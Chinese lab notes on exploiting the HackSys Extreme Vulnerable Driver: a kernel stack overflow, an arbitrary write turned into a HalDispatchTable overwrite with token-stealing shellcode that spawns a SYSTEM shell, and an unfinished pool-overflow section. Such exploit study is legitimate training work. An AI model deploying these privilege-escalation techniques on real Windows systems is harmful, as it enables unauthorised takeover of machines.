char *shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
int shellcodeLength = strlen(shellcode);
int main()
{
    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[ERROR]Open Device Error\r\n");
        system("pause");
        exit(1);
    }
    else {
        printf("[INFO]Device Handle: 0x%X\n", hDevice);
    }
    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);
    return 0;
}

运行之后报错,查看寄存器:

kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
73413173 ??              ???
kd> r
eax=00000000 ebx=97e25988 ecx=0fe2dc3f edx=00000000 esi=83f0217c edi=97e25918
eip=73413173 esp=af973ac0 ebp=41307341 iopl=0         nv up ei ng nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010292
73413173 ??              ???

eip指向73413173,判断该值的位置:

$ ./pattern_offset.rb -q 73413173 -l 1000
[*] Exact match at offset 544

修改代码:

##include <iostream>
##include <Windows.h>

int main()
{

    ULONG UserBufferSize = 544+4;

    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[ERROR]Open Device Error\r\n");
        system("pause");
        exit(1);
    }
    else {
        printf("[INFO]Device Handle: 0x%X\n", hDevice);
    }

    PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
    if (!UserBuffer) {
        printf("[ERROR]Allocate ERROR");
        system("pause");

        exit(1);
    }
    else {
        printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
        printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
    }

    RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

    PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));
   *(PULONG)MemoryAddress = (ULONG)0x66666666;

    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;
    return 0;
}

查看寄存器:

kd> r
eax=00000000 ebx=8790dfd8 ecx=076f487e edx=00000000 esi=83ec817c edi=8790df68
eip=66666666 esp=aed81ac0 ebp=41414141 iopl=0         nv up ei ng nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010292
66666666 ??              ???

可以看到成功控制eip

  • 调试判断

嘶,,还是有问题啊,应该是0x21C的,但是为啥21C成不了,224可以

构造shellcode

其他的和上一个一样:

	ULONG UserBufferSize = 0x224;
	HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("[ERROR]Open Device Error\r\n");
		system("pause");
		exit(1);
	}
	PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
	if (!UserBuffer) {
		printf("[ERROR]Allocate ERROR");
		system("pause");

		exit(1);
	}
	RtlFillMemory(UserBuffer, UserBufferSize, 0x41);
	PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize) - sizeof(ULONG));
	*(PDWORD)MemoryAddress = (DWORD)&TokenStealingPayloadWin7;

	ULONG WriteRet = 0;
	DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
	HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);

4.ArbitraryOverwrite-TriggerArbitraryWrite

任意地址写原理

在内核态中调用指针时要注意变量所处于的地址是否是可访问的地址,如果不是可访问的地址很可能会导致蓝屏,检查地址参数地址是否可访问一般调用函数ProbeForRead

void ProbeForRead(
  [in] const volatile VOID *Address,//指定用户模式缓冲区的开头
  [in] SIZE_T              Length,//指定用户模式缓冲区的长度(以字节为单位)
  [in] ULONG               Alignment//指定用户模式缓冲区开头所需的对齐方式(以字节为单位)
);

利用:

  • 前提:假设存在2个没有验证地址的指针,那么就可能存在任意地址写入
  • 利用:对这2个指针一个指向准备被写入的内核地址,一个是指向存在用户层的shellcode,然后某个内核函数中存在call这个地址的指令

漏洞函数在:HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\ArbitraryWrite

*(Where) = *(What)即为任意地址写漏洞

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
    PAGED_CODE();
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG) __alignof(UCHAR));
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%zX\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
##ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG) __alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG) __alignof(UCHAR));
        *(Where) = *(What);
##else
        DbgPrint("[+] Triggering Arbitrary Write\n");
        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);
##endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

_WRITE_WHAT_WHERE结构:

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

所以先构造一个大小为8的buf,修改what和where指针,实现任意地址写

测试代码:

##include<stdio.h>
##include<Windows.h>
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x41414141;
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed \n");
        return 0;
    }
    DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, 8, NULL, 0, &recvBuf, NULL);
    return 0;
}

exp的话:

what -> &payload
where -> HalDispatchTable+0x4

windbg:

****** HEVD_IOCTL_ARBITRARY_WRITE ******
[+] UserWriteWhatWhere: 0x004B2E60
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Write
[-] Exception Code: 0xC0000005
****** HEVD_IOCTL_ARBITRARY_WRITE ******

可以看到成功控制了What和where

内核提权–HalDispatchTable

有一个未文档化的函数 NtQueryIntervalProfile,调用了 KeQueryIntervalProfile 函数,KeQueryIntervalProfile会执行这么一段汇编代码 call [HalDispatchTable+0x4],并且对于 [HalDispatchTable+0x4] 的修改不会破坏系统的稳定性

kd> uf nt!KeQueryIntervalProfile+0x14
nt!KeQueryIntervalProfile+0x14:
840df60e 8945f0          mov     dword ptr [ebp-10h],eax
840df611 8d45fc          lea     eax,[ebp-4]
840df614 50              push    eax
840df615 8d45f0          lea     eax,[ebp-10h]
840df618 50              push    eax
840df619 6a0c            push    0Ch
840df61b 6a01            push    1
840df61d ff155cf3f383    call    dword ptr [nt!HalDispatchTable+0x4 (83f3f35c)]
840df623 85c0            test    eax,eax
840df625 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (840df632)  Branch

HalDispatchTable是内核中的一个系统调用表,当获得任意地址写的能力之后,可以使用shellcode地址覆盖HalDispatchTable第二个成员处的HalQuerySystemInformation函数地址

HalDispatchTable这个内核服务函数指针表,结构如下:

HAL_DISPATCH HalDispatchTable = {
    HAL_DISPATCH_VERSION,
    xHalQuerySystemInformation,//此处
    xHalSetSystemInformation,
    xHalQueryBusSlots,
    xHalDeviceControl,
    xHalExamineMBR,
    xHalIoAssignDriveLetters,
    xHalIoReadPartitionTable,
    xHalIoSetPartitionInformation,
    xHalIoWritePartitionTable,
    xHalHandlerForBus,                  // HalReferenceHandlerByBus
    xHalReferenceHandler,               // HalReferenceBusHandler
    xHalReferenceHandler                // HalDereferenceBusHandler
    };

所以接下来要做的就是:找到HalDispatchTable地址并覆盖第二个值, 之后调用NtQueryIntervalProfile执行shellcode

HalDispatchTable是由内核模块导出的。要得到 HalDispatchTable在内核中的准确地址,首先要得到内核下ntkrnlpa.exe模块的基址,再加上用户态下HalDispatchTable与用户态下ntkrnlpa.exe模块基址二者计算得出的偏移量即可得到内核下 HalDispatchTable 的地址,其中HalDispatchTable+0x4即可得到 xHalQuerySystemInformation函数地址。

流程:

  1. 使用 EnumDeviceDrivers 来获取 ntkrnlpa.exe 在内核中的基地址
  2. 使用 LoadLibraryntkrnlpa.exe 加载到用户空间中并得到它的基地址
  3. 使用 GetProcAddress 来得到 HalDispatchTable 在用户空间中的地址
  4. 计算出 HalDispatchTablentkrnlpa.exe 的基地址的差值
  5. 将这个差值加到 ntkrnlpa.exe 在内核中的基地址上得到 HalDispatchTable 在内核中的地址

获取ntkrnlpa.exe 在内核中的基地址,文件头Psapi.h

LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    TCHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

ntkrnlpa.exe 在 user mode 中的基地址:

HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

HalDispatchTable 在 user mode 中的地址:

PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

计算 HalDispatchTable+0x4 的地址

DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

EXP

由于没有恢复xHalQuerySystemInformation初始环境,所以一旦利用了关机就会蓝屏,可以保存下原来xHalQuerySystemInformation的值,之后填回去

完整Exp:


##include <Windows.h>
##include <stdio.h>
##include <Psapi.h>
##include <profileapi.h>
##define Write_What_Where 0x22200B // 这个是进入TriggerArbitraryWrite的IoControlCode

typedef struct _WRITE_WHAT_WHERE // 定义载入到驱动文件的结构体
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)( // 这个是函数NtQueryIntervalProfile专属的结构体
    IN ULONG ProfileSource,
    OUT PULONG Interval);

HANDLE hDevice = NULL;

static VOID ShellCode() // 将SYSTEM进程的Token覆盖本进程Token
{
    __asm {
		pushad; 保存各寄存器数据
		; start of Token Stealing Stub

		xor eax, eax; eax设置为0
		mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
		mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
		mov ecx, eax; 将本进程EPROCESS地址复制到ecx
		mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0b8h
			cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

			mov edx, [eax + 0f8h]; 获取System进程的Token
			mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; 恢复各个寄存器数据

    }
}
// 启动一个使用本进程Token的CMD
static VOID CreateCmd()
{
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi = {0};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = {L"cmd.exe"};
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn)
        CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024]; // 驱动基地址数组
    DWORD lpcbNeeded;         // lpImageBase[]返回的字节数
    TCHAR lpfileName[1024];   // 驱动名称

    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded); // 获取每个驱动进程的基地址

    for (int i = 0; i < 1024; i++)
    {
        // Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 48); // 根据每个驱动列表列出对应的驱动名称

        if (!strcmp((const char *)lpfileName, "ntkrnlpa.exe")) // 判断是否找到ntkrnlpa.exe
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i]; // 将ntkrnlpa.exe驱动进程的基地址返回
        }
    }
    return NULL;
}

DWORD32 GetHalOffset_4()
{
    // ntkrnlpa.exe in kernel space base address
    PVOID pNtkrnlpaBase = NtkrnlpaBase();

    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    HMODULE hUserSpaceBase = LoadLibraryA("ntkrnlpa.exe"); // 获取ntkrnlpa.exe在用户层的地址

    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");   // 找到用户层下的ntkrnlpa.exe中HalDispatchTable的地址
    DWORD32 UserSpaceoffset = (DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase; // 通过获取到的用户层ntkrnlpa.exe基址和HalDispatchTable地址获取到偏移量
    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + (DWORD32)UserSpaceoffset + 0x4;        // 找到HalDispatchTable+0x4在内核空间中的地址
    //
    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

    return (DWORD32)hal_4;
}

VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{

    WRITE_WHAT_WHERE exploit;
    DWORD lpbReturn = 0;

    exploit.Where = (PULONG_PTR)where;
    exploit.What = (PULONG_PTR)&what;
    printf("[+]Write at 0x%p\n", where);
    printf("[+]Write with 0x%p\n", what);

    printf("[+]Start to trigger...\n");

    DeviceIoControl(hDevice,
                    Write_What_Where,
                    &exploit,
                    sizeof(WRITE_WHAT_WHERE),
                    NULL,
                    0,
                    &lpbReturn,
                    NULL);

    printf("[+]Success to trigger...\n");
}

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                          GENERIC_READ | GENERIC_WRITE,
                          NULL,
                          NULL,
                          OPEN_EXISTING,
                          NULL,
                          NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

int main()
{
    DWORD interVal = 0;
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                          GENERIC_READ | GENERIC_WRITE,
                          NULL,
                          NULL,
                          OPEN_EXISTING,
                          NULL,
                          NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        // system("pause");
        return 0;
    }
    printf("[+]Success to get HANDLE!\n");

    DWORD32 Hal_hook_address = GetHalOffset_4();

    printf("[+]HalDispatchTable+0x4 is 0x%p\n", Hal_hook_address);

    Trigger_shellcode((DWORD)Hal_hook_address, (DWORD)&ShellCode);

    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    NtQueryIntervalProfile(0x1337, &interVal);
    printf("[+]Start to Create cmd...\n");
    CreateCmd();
    system("pause");
    return 0;
}

5.PoolOverflow-TriggerBufferOverflowNonPagedPool(待完善)

本部分为非换页池溢出漏洞分析利用

前置知识点(待完成)

UAF:简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

NonPagedPool

用户空间是从“堆(Heap)”分配缓冲区的,内核中也有类似的机制,但是不叫“堆”而称为“池(Pool)”。不过二者有着重要的区别。

首先,用户空间的堆是属于进程的;而内核中的池则是全局的,属于整个系统。堆所占的是虚存空间,堆的扩充基本上体现在作为后备存储的页面倒换文件的扩充,而不必同时占用那么多的物理页面。

而内核中的池则分成两种:

  • 一种是所占页面不可倒换的,每个页面不管其是否受到访问都真金白银地占着物理页面,要求这种池的大小可扩充显然不现实。
  • 另一种是所占页面可以倒换的,这种池的大小倒是可以扩充,因为(已分配而)暂时不受访问的(虚存)页面可以被倒换到作为后备的页面倒换文件中。

换页内存池和非换页内存池则是提供给系统内核模块和设备驱动程序使用的。在换页内存池中分配的内存有可能在物理内存紧缺的情况下被换出到外存中;而非换页内存池中分配的内存总是处于物理内存中。

img

windows内核中定义了许多不同的池:

实际使用的基本上就是NonPagedPoolPagedPool 两个。

kd> dt _POOL_TYPE
ntdll!_POOL_TYPE
   NonPagedPool = 0n0
   PagedPool = 0n1
   NonPagedPoolMustSucceed = 0n2
   DontUseThisType = 0n3
   NonPagedPoolCacheAligned = 0n4
   PagedPoolCacheAligned = 0n5
   NonPagedPoolCacheAlignedMustS = 0n6
   MaxPoolType = 0n7
   NonPagedPoolSession = 0n32
   PagedPoolSession = 0n33
   NonPagedPoolMustSucceedSession = 0n34
   DontUseThisTypeSession = 0n35
   NonPagedPoolCacheAlignedSession = 0n36
   PagedPoolCacheAlignedSession = 0n37
   NonPagedPoolCacheAlignedMustSSession = 0n38

MilnitializeNonPagedPool函数确定非换页内存池的起始和结束物理页面帧MiStartOfInitialPoolFrameMiEndOfInitialPoolFrame,

一旦非换页内存池的结构已建立,接下来系统代码可以通过 MiAllocatePoolPagesMiFreePoolPages 函数来申请和归还页面。

Windows充分利用这些页面自身的内存来构建起一组空闲页面链表,每个页面都是一个MMFREE_POOL_ENTRY结构,如图所示。MiInitializeNonPagedPool函数已经把数组MmNonPagedPoolFreeListHead初始化成只包含一个个完整的空闲内存块,该内存块包括所有的非换页页面。

img

在非换页内存池的结构中,每个空闲链表中的每个节点包含1、2、3、4或4个以上的页面,在同一个节点上的页面其虚拟地址空间是连续的。第一个页面的List域构成了链表结构,Size域指明了这个节点所包含的页面数量,Owner域指向自己;后续页面的List和 Size域没有使用,但Owner域很重要,它指向第一个页面。

非换页内存池中的页面回收是通过MiFreePoolPages函数来完成的,

内核和设备驱动程序使用非分页池来存储系统无法处理页面错误时可能访问的数据,非页面缓冲池总是保持在物理内存中,非页面缓冲池虚拟内存被分配物理内存。存储在非分页池中的通用系统数据结构包括表示进程和线程的内核和对象,互斥对象,信号灯和事件等同步对象,表示为文件对象的文件引用以及I / O请求包(IRP)代表I / O操作

池风水

HEVD 驱动, 有漏洞的用户缓冲区被分配在非分页池,所以需要找到一种方法来修改非分页池。

内核池空闲池块保存在一个链表结构里,当进行申请该池的内存的时候,会从链表里找到合适大小的池块进行分配,如果找不到,则会寻找相近大小的池块进行切割然后再分配;

当空闲链表里有位置相邻的空闲池块,则会进行合并操作,合并成一个大的池块

由于池块分布是无序的,但我们可以利用CreateEventA分配池块来控制池块分布,每个event块大小为0x40

Windows 提供了一种Event对象, 该对象存储在非分页池中,可以使用CreateEvent API 来创建:

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

在这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(
  _In_ HANDLE hObject
);

通过大量申请Event对象,然后通过CloseHandle释放一部分Event对象留出合适的空间给用户缓冲区,那么用户缓冲区很可能就会出现在我们挖出的空缺位置上,并且同时紧紧挨着一个Event对象,也就是说,可以固定让用户缓冲区后面紧挨着一个Event对象

这里需要创建两个足够大的Event对象数组,一个用来消耗小尺寸空闲内存块,一个用来挖出空缺提供给用户缓冲区

在空出的空闲块中,我们将有漏洞的用户缓冲区插入,图示如下

image-20230814023410736

利用原理&Event对象结构

控制缓冲区紧挨着一个Event对象,通过覆盖伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针,通过执行该过程从而执行shellcode

漏洞分析

首先用ExAllocatePoolWithTag函数分配了一块非分页内存池,然后将一些信息打印出来,又验证缓冲区是否驻留在用户模式下,然后用memcpy函数将UserBuffer拷贝到KernelBuffer,同样的拷贝,同样的没有控制Size的大小,只是一个是栈溢出一个是池溢出

int __stdcall TriggerBufferOverflowNonPagedPool(void *UserBuffer, unsigned int Size)
{
  PVOID v2; // ebx
  int result; // eax

  _DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
  v2 = ExAllocatePoolWithTag(NonPagedPool, 0x1F8u, 0x6B636148u);
  if ( v2 )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 504);
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v2);
    ProbeForRead(UserBuffer, 0x1F8u, 1u);
    _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
    _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", v2);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 504);
    _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPool\n");
    memcpy(v2, UserBuffer, Size);
    _DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v2);
    ExFreePoolWithTag(v2, 0x6B636148u);
    result = 0;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    result = 0xC0000017;
  }
  return result;
}

测试代码:

##include<stdio.h>
##include<Windows.h>

int main()
{
	DWORD bReturn = 0;
	char buf[0x1f8] = { 0 };
	HANDLE hDevice = NULL;
	RtlFillMemory(buf, 0x1f8, 0x41);
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);
	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}
	printf("[+]Success to get HANDLE!\n");
	DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
	return 0;
}

可以看到:

kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf7 
HEVD!TriggerBufferOverflowNonPagedPool+0xf7 [c:\projects\hevd\driver\hevd\bufferoverflownonpagedpool.c @ 137]:
a9b1fdc5 e812c4fbff      call    HEVD!memcpy (a9adc1dc)
a9b1fdca 688625b2a9      push    offset HEVD! ?? ::NNGAKEGL::`string' (a9b22586)
a9b1fdcf 6a03            push    3
a9b1fdd1 6a4d            push    4Dh
a9b1fdd3 ffd7            call    edi
a9b1fdd5 681a21b2a9      push    offset HEVD! ?? ::NNGAKEGL::`string' (a9b2211a)
a9b1fdda 688e24b2a9      push    offset HEVD! ?? ::NNGAKEGL::`string' (a9b2248e)
a9b1fddf 6a03            push    3
kd> bp a9b1fdc5
kd> g
****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x85A52308
[+] UserBuffer: 0x001FF990
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x85A52308
[+] KernelBuffer Size: 0x1F8
[+] Triggering Buffer Overflow in NonPagedPool
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerBufferOverflowNonPagedPool+0xf7:
a9b1fdc5 e812c4fbff      call    HEVD!memcpy (a9adc1dc)

局部变量KernelBuffer为0x85a52308

可以用!pool address命令查看address周围地址处的池信息

